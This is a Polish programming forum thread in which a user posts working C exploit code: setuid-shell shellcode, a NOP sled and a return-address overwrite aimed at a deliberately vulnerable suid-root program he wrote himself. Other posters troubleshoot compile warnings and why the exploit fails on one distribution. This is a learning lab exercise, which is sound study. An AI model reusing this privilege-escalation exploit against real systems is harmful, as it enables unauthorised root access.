Bład kompilacji programu w C

Problemy dotyczące programowania.

Moderatorzy: Moderatorzy, Administratorzy

politan

Bład kompilacji programu w C

Post autor: politan »

Witam! Napisałem sobie magiczny program w C. Oto jego treść:

Kod: Zaznacz cały

#include <stdlib.h>
#include <string.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset = 0;
esp = sp();
ret = esp - offset;

printf("	Wskaźnik stosu (ESP) : 0x%x\n", esp);
printf("Przesunięcie względem ESP    : 0x%x\n", offset);
printf("Pożądany adres powrotny	     : 0x%x\n", ret);

buffer = malloc(600);

ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }

for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }

ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }

buffer[600-1] = 0;

execl("./stosowe", "stosowe", buffer, 0);

free(buffer);

return 0;
}
Na moje oko wszystko w porządku a podczas kompilacji sypie mi:

Kod: Zaznacz cały

/home/politan/C#/exploit.c: In function 'main':
/home/politan/C#/exploit.c:23: warning: incompatible implicit declaration of built-in function 'printf'
/home/politan/C#/exploit.c:43: warning: incompatible implicit declaration of built-in function 'execl'
Hm... Jak dla mnie wszystko ok w tych linijkach :/. Niech spojrzy na to ktoś jeszcze swoim okiem bo jak ktoś sam pisze to wszystkiego nie wyłapie. Z góry dzięki za pomoc.
Ostatnio zmieniony 2012-11-27, 23:04 przez politan, łącznie zmieniany 1 raz.
Awatar użytkownika
mina86
Moderator
Posty: 3338
Rejestracja: 2004-06-14, 21:58
Lokalizacja: Linux 5.x x86_64
Kontakt:

Re: Bład kompilacji programu w C

Post autor: mina86 »

man printf i man execl i zobacz jakie nagłówki musisz zainkludować, a na przyszłość kompiluj z opcją -Wall -Werror.
Zastrzegam sobie prawo nieanalizowania postów pisanych niepoprawną polszczyzną.
Post generated automatically by A.I. system code name ‘mina86’ in response to the previous one.
politan

Re: Bład kompilacji programu w C

Post autor: politan »

Do man printf nic nie napisali, domyśliłem się tylko, że może chodziło im o

Kod: Zaznacz cały

#include <stdio.h>
. Co do man execl tam znalazłem. Użyłem

Kod: Zaznacz cały

#include <unistd.h>
i zadziałało. Dzięki za pomoc.

[ Dodano: 2009-03-10, 23:12 ]
Jeszcze jeden problem. Stworzyłem sobie jeden program też w C, taki średnio bezpieczny. Kiedy go uruchamiam pisze

Kod: Zaznacz cały

Naruszenie ochrony pamięci
o to mi chodziło. Tak więc chciałem sobie zmienić go z user'a na superuser'a i włączyć bit suid tak więc daje w konsoli

Kod: Zaznacz cały

sudo chown root program
sudo chmod +s program
Wszystko ładnie bez żadnego błędu. Teraz daję

Kod: Zaznacz cały

ls -l program
i dostaję

Kod: Zaznacz cały

-rwsr-sr-x     1 root    users       8489 Mar   10 19:30 program 
(ostanie dane z datą i czasem są fikcyjne). Lecz kiedy próbuję później odpalić exploit'a to mam znów

Kod: Zaznacz cały

Naruszenie ochrony pamięci
a tego nie powinno być (przynajmniej na Gentoo nie mam). Hm... coś nie tak z plikiem sudoers ??
Ostatnio zmieniony 2012-11-27, 23:05 przez politan, łącznie zmieniany 1 raz.
Awatar użytkownika
mina86
Moderator
Posty: 3338
Rejestracja: 2004-06-14, 21:58
Lokalizacja: Linux 5.x x86_64
Kontakt:

Re: Bład kompilacji programu w C

Post autor: mina86 »

Nie do końca rozumiem -- jeżeli masz naruszenie ochrony pamięci to masz naruszenie ochrony pamięci... O co biega?
Zastrzegam sobie prawo nieanalizowania postów pisanych niepoprawną polszczyzną.
Post generated automatically by A.I. system code name ‘mina86’ in response to the previous one.
politan

Re: Bład kompilacji programu w C

Post autor: politan »

No właśnie jest naruszenie ochrony pamięci. Napisałem jeden program, który jest podatny na nadużycie. Następnie napisałem exploit'a, który będzie wykorzystywał ten program. Tylko potrzebuje zrobić ten podatny program, programem suid superużytkownika. Później exploit nie wysypie mi tego błędu tylko nadpisze mi adres powrotny pewną wartością, która będzie "adresem pułapką" i kodu powłoki. Program był programem suid superuser'a kod wywołania powłoki był tak opracowany aby została uruchomiona nowa powłoka i wykorzystany program wykona kod powłoki z uprawnieniami superuser'a. Myślę, że trochę rozjaśniłem.
Ostatnio zmieniony 2012-11-27, 23:06 przez politan, łącznie zmieniany 2 razy.
Awatar użytkownika
mina86
Moderator
Posty: 3338
Rejestracja: 2004-06-14, 21:58
Lokalizacja: Linux 5.x x86_64
Kontakt:

Re: Bład kompilacji programu w C

Post autor: mina86 »

Nadal nie widzę nad czym się zastanawiać -- masz źle napisanego exploita. Działanie lub niedziałanie exploita jest zależne od wielu czynników, w tym od flag kompilacji.
Zastrzegam sobie prawo nieanalizowania postów pisanych niepoprawną polszczyzną.
Post generated automatically by A.I. system code name ‘mina86’ in response to the previous one.
politan

Re: Bład kompilacji programu w C

Post autor: politan »

Exploit jest dobrze napisany :). Na Gentoo bez problemu działa. Myślę, że to coś nie tak z dodaniem tego programu jako suid superużytkownika. W moim drugim poście opisałem metodę jaką stosuję na Gentoo i tam wszystko jest ok.
Awatar użytkownika
mina86
Moderator
Posty: 3338
Rejestracja: 2004-06-14, 21:58
Lokalizacja: Linux 5.x x86_64
Kontakt:

Re: Bład kompilacji programu w C

Post autor: mina86 »

politan pisze:Na Gentoo bez problemu działa.
Przeczytaj jeszcze raz moją poprzednią odpowiedź.
Zastrzegam sobie prawo nieanalizowania postów pisanych niepoprawną polszczyzną.
Post generated automatically by A.I. system code name ‘mina86’ in response to the previous one.
politan

Re: Bład kompilacji programu w C

Post autor: politan »

Kompilowałem z różnymi flagami pod Slackiem i nic. No cóż chyba pozostaje mi pisać dalej tylko na Gentoo ;/.
thopass
Użytkownik
Posty: 173
Rejestracja: 2005-01-08, 13:48
Lokalizacja: Warszawa
Kontakt:

Re: Bład kompilacji programu w C

Post autor: thopass »

Ja tam na expoitach się nie znam. Pamiętam jednak, że był taki do przejęcia uprawnień root'a, który działał jedynie na wybranych numerach kernela (chyba 2.6.13 - 2.6.17 czy jakoś podobnie). Może z tym twoim exploitem politan jest tak samo?
Jakie masz kernele na obu systemach? Twój exploit nie jest czasem kernel-dependent?
Slackware Current + kernel 2.6.32.6 + KDE 3.5.10
registered linux user #412954

[url=http://userbars.org][img]http://img162.imageshack.us/img162/9958/linux1hf8.jpg[/img][/url]
politan

Re: Bład kompilacji programu w C

Post autor: politan »

Na Gentoo mam 2.6.24 a na Slacku 2.6.24.2. Wszystko powinno być OK. Dzisiaj sprawdzałem u kumpla na Gentoo z innym kernelu niż ten mój na Gentoo i wszystko było ok. Tak jak napisałem myślę, że to coś nie tak z dodaniem tego programu do suid superuser'a.
Pajaczek
Użytkownik
Posty: 1439
Rejestracja: 2006-08-03, 13:16
Lokalizacja: Winny Gród

Re: Bład kompilacji programu w C

Post autor: Pajaczek »

politan pisze:myślę, że to coś nie tak z dodaniem tego programu do suid superuser'a.
Albo z bezpieczeństwem kernela na Gentoo ;-)
ODPOWIEDZ